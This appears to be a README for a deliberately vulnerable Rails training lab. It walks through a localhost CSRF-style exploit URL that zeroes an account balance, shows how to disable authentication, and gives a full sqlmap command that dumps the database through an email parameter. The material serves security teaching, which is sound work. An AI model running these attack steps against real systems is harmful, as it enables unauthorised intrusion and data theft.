Based on https://github.com/andersonDadario/damn_vulnerable_rails_app/tree/master/vulnerable_app
- Install MySQL Server
- Configure mysql credentials on
vulnerable_app/config/database.yml
- Run
cd vulnerable_app && bundle exec rake db:create
- Run
cd vulnerable_app && bundle exec rake db:schema:load
- Start Malicious App by running
./servlet.rb
- Start Vulnerable App by running
rails s
- Sign up to Vulnerable App
- Add money to your account (any mount greater than 0)
- Go to Malicious App (http://localhost:4000)
- Insert the following URL in the form:
http://127.0.0.1:3000/exploit?url=http%3A%2F%2Flocalhost%3A3000%2Fcharity
and submit it - Reload the Vulnerable app page and you should see $0 money
- Comment
before_action :authenticate_user!
onvulnerable_app/app/controllers/application_controller.erb
- Restart Vulnerable App by pressing
CTRL+C
and runningrails s
again - Install SQLMap (sqlmap.org)
- Run
./sqlmap.py -u "http://localhost:3000/discover?email=something" -p email --dbms=mysql -a
and await for pwnage!